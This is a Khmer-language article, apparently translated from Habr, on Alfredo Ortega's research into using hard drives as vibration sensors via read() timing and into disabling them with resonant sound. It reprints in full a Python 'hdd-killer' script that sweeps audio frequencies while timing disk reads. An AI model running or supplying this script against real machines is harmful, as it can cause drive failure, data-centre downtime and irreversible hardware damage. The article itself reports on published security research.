នៅក្នុងសន្និសិទសុវត្ថិភាពកុំព្យូទ័រ Ekoparty 2017 នៅទីក្រុង Buenos Aires ហេកឃ័រអាហ្សង់ទីន Alfredo Ortega បានបង្ហាញការអភិវឌ្ឍន៍គួរឱ្យចាប់អារម្មណ៍មួយ ដែលជាប្រព័ន្ធសម្រាប់ការលួចបន្លំនៃបរិវេណដោយមិនប្រើមីក្រូហ្វូន។ សំឡេង ថតដោយផ្ទាល់ទៅថាសរឹង!

HDD ជ្រើសរើសជាចម្បងនូវសំឡេងដែលមានប្រេកង់ទាប កម្រិតសំឡេងខ្ពស់ ជំហាន និងរំញ័រផ្សេងទៀត។ ការនិយាយរបស់មនុស្សមិនអាចត្រូវបានគេទទួលស្គាល់នៅឡើយទេ ទោះបីជាអ្នកវិទ្យាសាស្ត្រក៏ដោយ។ កំពុងធ្វើការស្រាវជ្រាវក្នុងទិសដៅនេះ។ (ការ​ទទួល​ស្គាល់​ការ​និយាយ​ដោយ​រំញ័រ​ប្រេកង់​ទាប​ដែល​ត្រូវ​បាន​ថត​ទុក​ជា​ឧទាហរណ៍​ពី gyroscope ឬ HDD)។

សំឡេងគឺជាការរំញ័រនៃខ្យល់ ឬឧបករណ៍ផ្ទុកផ្សេងទៀត។ មនុស្សម្នាក់យល់ឃើញពួកគេតាមរយៈក្រដាសត្រចៀក ដែលបញ្ជូនរំញ័រទៅត្រចៀកខាងក្នុង។ មីក្រូហ្វូនត្រូវបានរចនាឡើងប្រហាក់ប្រហែលនឹងត្រចៀក - នៅទីនេះផងដែរ ការរំញ័រត្រូវបានកត់ត្រាដោយភ្នាសស្តើង ដែលធ្វើអោយរំញ័រអគ្គិសនី។ ជាការពិតណាស់ ដ្រាយវ៍រឹងក៏ទទួលរងការរំញ័រមីក្រូទស្សន៍ផងដែរ ដោយសារតែការប្រែប្រួលនៃខ្យល់ជុំវិញ។ នេះត្រូវបានគេស្គាល់សូម្បីតែពីលក្ខណៈបច្ចេកទេសរបស់ HDDs ក៏ដោយ៖ ក្រុមហ៊ុនផលិតជាធម្មតាបង្ហាញពីកម្រិតរំញ័រដែលអាចអនុញ្ញាតបានអតិបរមា ហើយថាសរឹងខ្លួនឯងជារឿយៗព្យាយាមដាក់វានៅក្នុងធុងធន់នឹងរំញ័រដែលធ្វើពីកៅស៊ូ ឬសម្ភារៈអ៊ីសូឡង់ផ្សេងទៀត។ ពីនេះវាងាយស្រួលក្នុងការសន្និដ្ឋានថាសំឡេងអាចត្រូវបានថតដោយប្រើ HDD ។ អ្វីដែលនៅសល់គឺត្រូវស្វែងយល់ពីរបៀប។

Alfredo Ortega បានស្នើកំណែតែមួយគត់នៃការវាយប្រហារតាមឆានែលមួយគឺការវាយប្រហារពេលវេលា។ ការវាយប្រហារនេះគឺផ្អែកលើការសន្មត់ថាប្រតិបត្តិការផ្សេងគ្នាត្រូវបានអនុវត្តនៅលើឧបករណ៍នៅពេលផ្សេងគ្នា អាស្រ័យលើទិន្នន័យបញ្ចូលដែលបានផ្តល់ឱ្យ។ ក្នុងករណីនេះ "ទិន្នន័យបញ្ចូល" គឺជាការរំញ័រនៃក្បាលអាន និងបន្ទះ HDD ដែលទាក់ទងជាមួយរំញ័រនៃបរិស្ថាន ពោលគឺជាមួយនឹងសំឡេង។ ដូច្នេះដោយការវាស់ស្ទង់ពេលវេលាគណនា និងធ្វើការវិភាគស្ថិតិនៃទិន្នន័យ វាអាចវាស់ស្ទង់រំញ័រនៃក្បាល/ចាន ហើយហេតុដូច្នេះហើយការរំញ័ររបស់ឧបករណ៍ផ្ទុក។ ការពន្យាពេលក្នុងការអានទិន្នន័យកាន់តែយូរ ការរំញ័រ HDD កាន់តែខ្លាំង ហើយដូច្នេះសំឡេងកាន់តែខ្លាំង។

តើធ្វើដូចម្តេចដើម្បីវាស់រំញ័រនៃដ្រាយវ៍រឹង? សាមញ្ញណាស់៖ គ្រាន់តែដំណើរការការហៅតាមប្រព័ន្ធ read () - និងកត់ត្រាពេលវេលាដែលវាត្រូវការដើម្បីបញ្ចប់។ ប្រព័ន្ធប្រតិបត្តិការទំនើបអនុញ្ញាតឱ្យអ្នកអានពេលវេលានៃការហៅប្រព័ន្ធជាមួយនឹងភាពត្រឹមត្រូវ nanosecond ។

ល្បឿននៃការអានព័ត៌មានពីវិស័យមួយអាស្រ័យទៅលើទីតាំងរបស់ក្បាល និងចានរាងសំប៉ែត ដែលទាក់ទងជាមួយរំញ័រនៃករណី HDD ។ អស់ហើយ។

ការវិភាគស្ថិតិត្រូវបានអនុវត្តដោយប្រើឧបករណ៍ប្រើប្រាស់ Kscope សាមញ្ញ។ ដូចដែលពួកគេនិយាយ អ្វីគ្រប់យ៉ាងដែលប៉ិនប្រសប់គឺសាមញ្ញ។

ឧបករណ៍ប្រើប្រាស់ Kscope (stat() syscall)

Kscope គឺ​ជា​ឧបករណ៍​ប្រើប្រាស់​តូច​មួយ​សម្រាប់​មើល​ឃើញ​ពី​ភាព​ខុស​គ្នា​តូច​ៗ​នៅ​ក្នុង​ពេល​ប្រតិបត្តិ​ការ​ហៅ​ទូរសព្ទ​របស់​ប្រព័ន្ធ។ ប្រភពចេញផ្សាយនៅលើ GitHub.

នៅក្នុងឃ្លាំងដាច់ដោយឡែក ពេលវេលា HDD មានកំណែនៃឧបករណ៍ប្រើប្រាស់ដែលបានកំណត់រចនាសម្ព័ន្ធសម្រាប់ការវាយប្រហារពេលមួយនៅលើ hard drive នោះគឺបានកំណត់រចនាសម្ព័ន្ធដើម្បីវិភាគការហៅប្រព័ន្ធ។ read ().

ការបង្ហាញពីការថតសំឡេងដោយប្រើ HDD ប្រតិបត្តិការរបស់ឧបករណ៍ប្រើប្រាស់ Kscope

ជាការពិតណាស់ ការនិយាយមិនអាចយល់បានតាមវិធីនេះ ប៉ុន្តែ HDD គឺពិតជាសមរម្យជាឧបករណ៍ចាប់សញ្ញារំញ័រ។ ឧទាហរណ៍ អ្នកអាចចុះឈ្មោះ ប្រសិនបើអ្នកពាក់ស្បែកជើងរឹង ឬជើងទទេរចូលបន្ទប់ជាមួយកុំព្យូទ័រ (ប្រហែលជាប្រសិនបើអ្នកវាយប្រហារពាក់ស្បែកជើងប៉ាតាទន់ ឬមានកំរាលព្រំក្រាស់នៅលើឥដ្ឋ HDD នឹងមិនអាចចុះឈ្មោះរំញ័របានទេ - នេះមានតម្លៃពិនិត្យ) ។ កុំព្យូទ័រអាចចុះឈ្មោះកញ្ចក់ខូច ឬឧបទ្ទវហេតុផ្សេងទៀតជាមួយនឹងកម្រិតសំឡេងខ្លាំង។ នោះគឺថា ដ្រាយវ៍រឹងអាចបម្រើជាប្រភេទនៃប្រព័ន្ធរកឃើញការឈ្លានពានដោយគ្មានការអនុញ្ញាត។

ឃាតករ HDD

ដោយចៃដន្យ បច្ចេកទេសស្រដៀងគ្នានេះអាចត្រូវបានប្រើដើម្បីបិទដ្រាយវ៍រឹង។ ទោះយ៉ាងណាក៏ដោយ នៅទីនេះយើងមិនចាប់យករំញ័រពី HDD ទេ ប៉ុន្តែបង្កើតរំញ័រដែលត្រូវបានបញ្ជូនទៅ HDD។ ប្រសិនបើអ្នកចាក់សំឡេងពីឧបករណ៍បំពងសម្លេងនៅប្រេកង់ដែលបន្លឺឡើងជាមួយប្រេកង់របស់ HDD ប្រព័ន្ធនឹងបិទឧបករណ៍ក្នុងពេលឆាប់ៗនេះជាមួយនឹងកំហុស I/O (ខឺណែល)។ Linux (វានឹងបិទ HDD ទាំងស្រុងបន្ទាប់ពី 120 វិនាទី។) ដ្រាយវ៍រឹងខ្លួនឯងអាចនឹងខូចខាតដែលមិនអាចត្រឡប់វិញបាន។

ស្នូល Linux ថាសរឹងបានបិទបន្ទាប់ពីចាក់សំឡេងរយៈពេល 120 វិនាទីក្នុងប្រេកង់រំញ័រតាមរយៈឧបករណ៍បំពងសម្លេង USB Edifier r19u។ ឧបករណ៍បំពងសម្លេងត្រូវបានបើកនៅប្រហែលមួយភាគបួននៃថាមពលរបស់វា (តិចជាង 100 mW) ហើយត្រូវបានដាក់ចម្ងាយ 20 សង់ទីម៉ែត្រពី HDD ដោយចង្អុលទៅតុដើម្បីពង្រីករំញ័រ។ នៅតែមកពី វីដេអូ ជាមួយនឹងការបង្ហាញអំពី HDD killer

វាគួរឱ្យចង់ដឹងដែលថា "ការវាយប្រហារ" បែបនេះលើ HDDs ជួនកាលកើតឡើងទាំងស្រុងដោយចៃដន្យនៅក្នុងជីវិតប្រចាំថ្ងៃ។ ជាឧទាហរណ៍ ក្នុងខែកញ្ញា ឆ្នាំ 2016 មជ្ឈមណ្ឌលទិន្នន័យរបស់ធនាគារ ING ត្រូវបានបង្ខំឱ្យផ្អាកប្រតិបត្តិការរយៈពេល 10 ម៉ោងបន្ទាប់ពីការហ្វឹកហាត់ភ្លើង។ ដ្រាយវ៍រឹងរាប់សិបបានបរាជ័យ ដោយសារតែសំឡេងខ្លាំងនៃឧស្ម័នអសកម្មត្រូវបានបញ្ចេញចេញពីស៊ីឡាំងក្រោមសម្ពាធខ្ពស់។ សំឡេងគឺខ្លាំង (ច្រើនជាង 130 dB) ប៉ុន្តែអ្នកមិនអាចសូម្បីតែស្រែកដាក់ថាសរឹង - នេះបង្កើនការពន្យារពេលក្នុងការចូលប្រើ HDD ។

ការបង្ហាញពីការស្រែករបស់មនុស្សនៅលើ hard drive នៅក្នុងមជ្ឈមណ្ឌលទិន្នន័យ។ ការវាស់វែងភាពយឺតយ៉ាវ

ដើម្បីបង្កើតសំឡេងរោទ៍ Alfredo Ortega បានសរសេរអក្សរ Python ហៅថា hdd-ឃាតករ (ការបង្ហាញវីដេអូ).

ស្គ្រីប HDD killer វាតូចណាស់ ដូច្នេះអ្នកអាចបោះពុម្ពវាទាំងស្រុងនៅទីនេះ។

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ប្រភព: www.habr.com